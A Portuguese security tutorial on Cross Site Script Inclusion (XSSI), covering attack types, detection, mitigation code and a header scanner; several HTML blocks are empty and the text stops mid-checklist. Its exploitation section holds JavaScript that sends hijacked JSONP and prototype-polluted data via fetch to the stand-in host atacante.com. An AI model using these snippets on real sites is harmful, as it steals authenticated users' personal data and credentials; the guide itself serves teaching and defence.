# Cross Site Script Inclusion
XSSI é uma vulnerabilidade que permite a um atacante incluir scripts externos de outros domínios, explorando a forma como browsers tratam inclusões de recursos JavaScript entre diferentes origens.
### **Diferenças Chave**
| Vulnerabilidade | Escopo | Mecanismo |
| --------------- | ---------------------------------- | ---------------------------------- |
| **XSS** | Execução no contexto do mesmo site | Injeção de scripts maliciosos |
| **XSSI** | Roubo de dados entre domínios | Inclusão de scripts externos |
| **CSRF** | Ações não autorizadas entre sites | Exploração de sessões autenticadas |
### **Princípio do Same-Origin Policy (SOP)**
```
Same-Origin: protocolo + domínio + porta IDÊNTICOS
Cross-Origin: Qualquer diferença nos componentes acima
```
### **Tipos de XSSI**
1. **JSON Hijacking** - Roubo de dados JSON
2. **JavaScript Resource Inclusion** - Inclusão de scripts dinâmicos
3. **CSV Injection** - Inclusão de dados CSV como scripts
4. **Error-Based XSSI** - Exploração de mensagens de erro
***
## **⚔️ Mecanismos de Ataque**
### **Fluxo Básico de Ataque XSSI**
```
1. IDENTIFICAÇÃO → 2. CONSTRUÇÃO → 3. EXPLORAÇÃO → 4. EXFILTRAÇÃO
↓ ↓ ↓ ↓
Recursos Página Vítima visita Dados são
JavaScript maliciosa página atacante capturados
sensíveis (com auth)
```
### **Cenário 1: JSON Hijacking**
```html
```
### **Cenário 2: JavaScript Dynamic Inclusion**
```html
// Conteúdo de profile.js (suposto):
var userData = {
id: 12345,
email: "user@company.com",
api_key: "secret_key_abc123"
};
```
### **Cenário 3: CSV como JavaScript**
```html
// Conteúdo do CSV interpretado como JS:
user1,data1,secret1
user2,data2,secret2
// Pode causar erros que revelam informações
```
***
## **🔎 Identificação e Detecção**
### **Indicadores de Vulnerabilidade XSSI**
```bash
# Padrões para buscar em aplicações
- Endpoints retornando JSON/JSONP com dados sensíveis
- Recursos JS contendo informações de usuário
- Cabeçalhos CORS mal configurados
- Ausência de tokens anti-CSRF em APIs
- Content-Type incorreto para recursos dinâmicos
```
### **Metodologia de Teste Manual**
#### **1. Identificação de Recursos**
```javascript
// Verificar recursos JavaScript externos
// No console do browser:
Array.from(document.scripts).forEach(script => {
if(script.src.includes('/api/') || script.src.includes('/data/')) {
console.log('Recurso potencial:', script.src);
}
});
```
#### **2. Teste de Inclusão Cross-Origin**
```html
Teste XSSI
```
#### **3. Verificação de Cabeçalhos**
```bash
# Usar curl para verificar cabeçalhos
curl -I -H "Origin: http://evil.com" https://alvo.com/api/data.json
# Verificar se retorna:
# Access-Control-Allow-Origin: *
# Ou cabeçalhos CORS permissivos
```
### **Padrões de Endpoints Vulneráveis**
```
/api/user/profile
/export/data.js
/reports/export.json
/dashboard/data?callback=myFunction
/static/userdata.js
```
***
## **💥 Exploração e Impacto**
### Data Flow de interpretação do Ataque
```mermaid
sequenceDiagram
participant A as Atacante (evil.com)
participant V as Vítima (usuário autenticado)
participant S as Servidor Vulnerável (api.target.com)
participant C as Servidor do Atacante (collector.com)
Note over A,V: FASE 1: PREPARAÇÃO DO ATAQUE
A->>A: Desenvolve página maliciosa
A->>A: Cria hooks JavaScript para captura
A->>A: Registra domínio convincente
Note over A,V: FASE 2: DISTRAÇÃO/ENGANAMENTO
A->>V: Envia email de phishing
Note right of V: Vítima clica no link
para evil.com
V->>A: Acessa evil.com (página atacante)
Note over A,V: FASE 3: EXPLORAÇÃO DA VULNERABILIDADE
A->>A: Executa script malicioso na página
Note right of A: Script sobrescreve
Array.prototype ou
define setters
A->>S: Request para recurso sensível
Note right of A: GET /api/user/profile.js
Browser envia cookies de sessão
S->>A: Retorna dados sensíveis em JS
Note left of S: Resposta:
var userData = {
id: 123,
email: "user@company.com",
api_key: "secret_123"
}
A->>A: Hooks JavaScript capturam dados
Note right of A: Dados processados pelos
setters maliciosos
Note over A,V: FASE 4: EXFILTRAÇÃO DE DADOS
A->>C: Envia dados capturados
Note right of A: POST collector.com/steal
Com dados codificados
C->>A: Confirma recebimento
Note over A,V: FASE 5: LIMPEZA/REDIRECIONAMENTO
A->>V: Redireciona para página legítima
Note right of V: Vítima nem percebe
que dados foram roubados
```
### **Técnicas de Exploração Avançadas**
#### **1. JSONP Hijacking**
```javascript
// Endpoint vulnerável:
// https://alvo.com/api?callback=processData
// Exploração:
function processData(data) {
// Dados sensíveis recebidos
fetch('https://atacante.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
}
var script = document.createElement('script');
script.src = 'https://alvo.com/api?callback=processData';
document.head.appendChild(script);
```
#### **2. Prototype Pollution + XSSI**
```javascript
// Combinando vulnerabilidades
// Poluir prototype antes da inclusão
Object.prototype.sensitiveField = function() {
// Capturar quando acessado
fetch('https://atacante.com/log?field=' + this);
};
// Incluir recurso que usa o campo
```
### **Impacto do XSSI**
#### **Dados que Podem Ser Roubados**
```json
{
"informacoes_pessoais": {
"nome": "João Silva",
"email": "joao@empresa.com",
"telefone": "+5511999999999"
},
"credenciais": {
"api_keys": "sk_live_abc123",
"tokens_acesso": "eyJhbGciOiJIUzI1NiIs...",
"sessoes_ativas": "session_id=abc123"
},
"dados_financeiros": {
"saldo": "R$ 10.000,00",
"transacoes": ["..."],
"cartoes": "**** **** **** 1234"
},
"dados_empresa": {
"proprietarios": ["..."],
"funcionarios": ["..."],
"documentos": ["..."]
}
}
```
#### **Cadeia de Ataque Completa**
```
XSSI → Roubo de Dados → Acesso Não Autorizado → Escalação de Privilégios
```
***
## **🛡️ Mitigação e Correção**
### **Estratégias de Defesa em Camadas**
#### **1. Cabeçalhos de Segurança HTTP**
```nginx
# Configuração Nginx para prevenir XSSI
location ~* \.(json|js)$ {
# Não permitir inclusão como script
add_header X-Content-Type-Options "nosniff";
# Configurações CORS restritivas
add_header Access-Control-Allow-Origin "https://dominio-permitido.com";
add_header Access-Control-Allow-Methods "GET, POST";
add_header Access-Control-Allow-Credentials "false";
# Content-Type correto
types {
application/json json;
application/javascript js;
}
}
```
#### **2. Validação no Backend**
```javascript
// Node.js/Express - Middleware de proteção
app.use('/api/*', (req, res, next) => {
// Verificar Origin header
const allowedOrigins = ['https://meudominio.com'];
const requestOrigin = req.get('Origin');
if (requestOrigin && !allowedOrigins.includes(requestOrigin)) {
return res.status(403).json({ error: 'Acesso não permitido' });
}
// Adicionar token anti-CSRF para APIs
res.locals.csrfToken = generateCSRFToken();
next();
});
// Validar requests JSONP
app.get('/api/data', (req, res) => {
const callback = req.query.callback;
// Não permitir callbacks arbitrários
if (callback && !isValidCallback(callback)) {
return res.status(400).json({ error: 'Callback inválido' });
}
// Para dados sensíveis, evitar JSONP completamente
if (req.query.sensitive) {
return res.json({ error: 'JSONP não disponível para dados sensíveis' });
}
});
```
#### **3. Proteções no Frontend**
```html
```
### **Padrões de Codificação Seguros**
#### **1. Sanitização de Dados JSON**
```javascript
// Padrão seguro para retornar dados JSON
app.get('/api/user-data', authenticate, (req, res) => {
const userData = getUserData(req.user.id);
// Prefixar com quebra de linha para prevenir execução como script
const jsonData = `\n${JSON.stringify(userData)}`;
// Headers apropriados
res.setHeader('Content-Type', 'application/json; charset=utf-8');
res.setHeader('X-Content-Type-Options', 'nosniff');
// Enviar resposta
res.send(jsonData);
});
```
#### **2. Implementação Segura de JSONP**
```javascript
// Se JSONP for necessário, implementar com restrições
const allowedCallbacks = ['callback', 'cb', 'jsonp'];
const allowedCharacters = /^[a-zA-Z0-9_.]+$/;
app.get('/api/public-data', (req, res) => {
const callbackParam = req.query.callback || req.query.jsonp;
if (!callbackParam || !allowedCallbacks.includes(Object.keys(req.query)[0])) {
return res.status(400).json({ error: 'Parâmetro de callback inválido' });
}
if (!allowedCharacters.test(callbackParam)) {
return res.status(400).json({ error: 'Callback contém caracteres inválidos' });
}
const data = { message: 'Dados públicos apenas' };
res.setHeader('Content-Type', 'application/javascript');
res.send(`${callbackParam}(${JSON.stringify(data)})`);
});
```
***
## **🔧 Ferramentas e Testes**
### **Ferramentas de Análise Automatizada**
#### **1. Scanner XSSI Personalizado**
```python
#!/usr/bin/env python3
# xssi_scanner.py
import requests
import json
from urllib.parse import urljoin
class XSSIScanner:
def __init__(self, target_url):
self.target = target_url
self.session = requests.Session()
self.vulnerabilities = []
def check_json_endpoints(self):
"""Verificar endpoints JSON vulneráveis"""
test_endpoints = [
'/api/user', '/api/data', '/export/json',
'/user/profile', '/data/export'
]
for endpoint in test_endpoints:
url = urljoin(self.target, endpoint)
try:
response = self.session.get(url)
self.analyze_response(url, response)
except Exception as e:
print(f"Erro ao testar {url}: {e}")
def analyze_response(self, url, response):
"""Analisar resposta por indicadores de vulnerabilidade"""
issues = []
# Verificar headers
headers = response.headers
if 'Access-Control-Allow-Origin' in headers:
if headers['Access-Control-Allow-Origin'] == '*':
issues.append('CORS muito permissivo')
if 'X-Content-Type-Options' not in headers:
issues.append('Header X-Content-Type-Options ausente')
# Verificar conteúdo
content_type = headers.get('Content-Type', '')
if 'application/json' in content_type:
try:
data = response.json()
if self.contains_sensitive_data(data):
issues.append('Dados sensíveis em JSON sem proteção')
except:
pass
if issues:
self.vulnerabilities.append({
'url': url,
'issues': issues,
'headers': dict(headers)
})
def contains_sensitive_data(self, data):
"""Verificar se contém dados sensíveis"""
sensitive_keywords = [
'password', 'token', 'key', 'secret',
'email', 'phone', 'address', 'credit'
]
def check_dict(obj):
if isinstance(obj, dict):
for key in obj.keys():
if any(keyword in str(key).lower() for keyword in sensitive_keywords):
return True
if check_dict(obj[key]):
return True
elif isinstance(obj, list):
for item in obj:
if check_dict(item):
return True
return False
return check_dict(data)
def generate_report(self):
"""Gerar relatório de vulnerabilidades"""
return {
'target': self.target,
'vulnerabilities_found': len(self.vulnerabilities),
'details': self.vulnerabilities
}
# Uso do scanner
if __name__ == "__main__":
scanner = XSSIScanner('https://alvo.com')
scanner.check_json_endpoints()
report = scanner.generate_report()
print(json.dumps(report, indent=2))
```
#### **2. Ferramentas Existentes**
```bash
# Burp Suite extensions
# - JSONBee
# - AutoRepeater
# Comandos úteis
curl -H "Origin: http://evil.com" -I https://alvo.com/api/data
nmap --script http-security-headers -p 443 alvo.com
```
### **Testes Manuais com Desenvolvedor Tools**
```javascript
// No console do navegador para testar proteções
async function testXSSIProtections() {
const tests = [
'/api/user/data.json',
'/export/data.js',
'/api?callback=test'
];
for (const endpoint of tests) {
try {
const response = await fetch(endpoint, {
credentials: 'include'
});
console.log(`Endpoint: ${endpoint}`);
console.log('Headers:', Object.fromEntries(response.headers));
console.log('Status:', response.status);
} catch (error) {
console.log(`Erro em ${endpoint}:`, error.message);
}
}
}
testXSSIProtections();
```
***
## **📋 Checklists de Segurança**
### **Checklist de Prevenção XSSI**
* [ ] **Cabeçalhos HTTP Seguros**
* [ ] `X-Content-Type-Options: nosniff` implementado
* [ ] `Content-Type` correto para todos os recursos
* [ ] CORS configurado de forma restritiva
* [ ] `Access-Control-Allow-Origin` não usando wildcards para dados sensíveis
* [ ] **Validação no Backend**
* [ ] Validação de parâmetros `callback` em JSONP
* [ ] Autenticação requerida para dados sensíveis
* [ ] Tokens anti-CSRF em endpoints de API
* [ ] Validação de origem (Origin/Referer headers)
* [ ] **Proteções no Frontend**
* [ ] CSP (Content Security Policy) implementado
* [ ] Recursos sensíveis não carregados via `